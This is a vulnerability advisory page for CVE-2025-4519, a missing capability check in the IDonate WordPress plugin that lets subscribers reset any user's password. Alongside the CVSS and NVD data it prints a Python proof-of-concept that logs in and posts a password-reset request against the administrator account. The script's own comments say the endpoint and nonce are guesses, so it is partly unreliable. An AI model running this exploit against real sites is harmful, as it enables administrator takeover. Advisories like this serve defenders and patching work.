Security Vulnerability Report
中文
CVE-2025-4519 CVSS 8.8 HIGH

CVE-2025-4519

Published: 2025-11-07 05:16:04
Last Modified: 2025-12-04 21:20:16

Description

The IDonate – Blood Donation, Request And Donor Management System plugin for WordPress is vulnerable to Privilege Escalation due to a missing capability check on the idonate_donor_password() function in versions 2.1.5 to 2.1.9. This makes it possible for authenticated attackers, with Subscriber-level access and above, to initiate a password reset for any user (including administrators) and elevate their privileges for full site takeover.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:themeatelier:idonate:*:*:*:*:*:wordpress:*:* - VULNERABLE
IDonate WordPress插件 2.1.5 至 2.1.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys from urllib.parse import urljoin # CVE-2025-4519 PoC - IDonate Plugin Privilege Escalation # Affected versions: 2.1.5 to 2.1.9 # Target: WordPress site with IDonate plugin installed def exploit_privilege_escalation(target_url, username, password, target_user_id=1): """ Exploit IDonate plugin privilege escalation vulnerability. Allows authenticated users (subscriber+) to reset any user's password. Args: target_url: Target WordPress site URL username: Valid WordPress username (subscriber role or higher) password: Password for the username target_user_id: Target user ID to reset password (default: 1 = admin) Returns: bool: True if exploit was sent successfully """ session = requests.Session() # Step 1: Login to WordPress login_url = urljoin(target_url, 'wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url, 'testcookie': '1' } print(f'[*] Logging in as {username}...') response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies): print('[-] Login failed!') return False print('[+] Login successful!') # Step 2: Trigger password reset via vulnerable function # The vulnerable endpoint is typically in the IDonate plugin reset_url = urljoin(target_url, 'wp-admin/admin-ajax.php') # This is a typical pattern - actual endpoint may vary reset_data = { 'action': 'idonate_donor_password', 'user_id': target_user_id, 'nonce': 'exploit' # May need to be obtained from page source } print(f'[*] Attempting to reset password for user ID: {target_user_id}') response = session.post(reset_url, data=reset_data) if response.status_code == 200: print('[+] Password reset request sent!') print('[+] Check admin email for password reset link.') return True else: print(f'[-] Request failed with status: {response.status_code}') return False if __name__ == '__main__': if len(sys.argv) < 4: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password> [target_user_id]') print(f'Example: python {sys.argv[0]} http://example.com/ attacker subscriber123 1') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] target_id = int(sys.argv[4]) if len(sys.argv) > 4 else 1 exploit_privilege_escalation(target, user, pwd, target_id)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-4519", "sourceIdentifier": "[email protected]", "published": "2025-11-07T05:16:04.227", "lastModified": "2025-12-04T21:20:16.427", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The IDonate – Blood Donation, Request And Donor Management System plugin for WordPress is vulnerable to Privilege Escalation due to a missing capability check on the idonate_donor_password() function in versions 2.1.5 to 2.1.9. This makes it possible for authenticated attackers, with Subscriber-level access and above, to initiate a password reset for any user (including administrators) and elevate their privileges for full site takeover."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:themeatelier:idonate:*:*:*:*:*:wordpress:*:*", "versionStartIncluding": "2.1.5", "versionEndExcluding": "2.1.10", "matchCriteriaId": "557DE08F-77B3-4DB8-85A6-09183C883604"}]}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/idonate/tags/2.1.9/src/Helpers/DonorFunctions.php#L410", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://plugins.trac.wordpress.org/changeset/3334424/idonate/tags/2.1.10/src/Helpers/DonorFunctions.php?old=3279142&old_path=idonate%2Ftags%2F2.1.9%2Fsrc%2FHelpers%2FDonorFunctions.php", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://wordpress.org/plugins/idonate/#developers", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/596aef67-582a-4506-bae9-c7be1899e47a?source=cve", "source": "[email protected]", "tags": ["Patch", "Third Party Advisory"]}]}}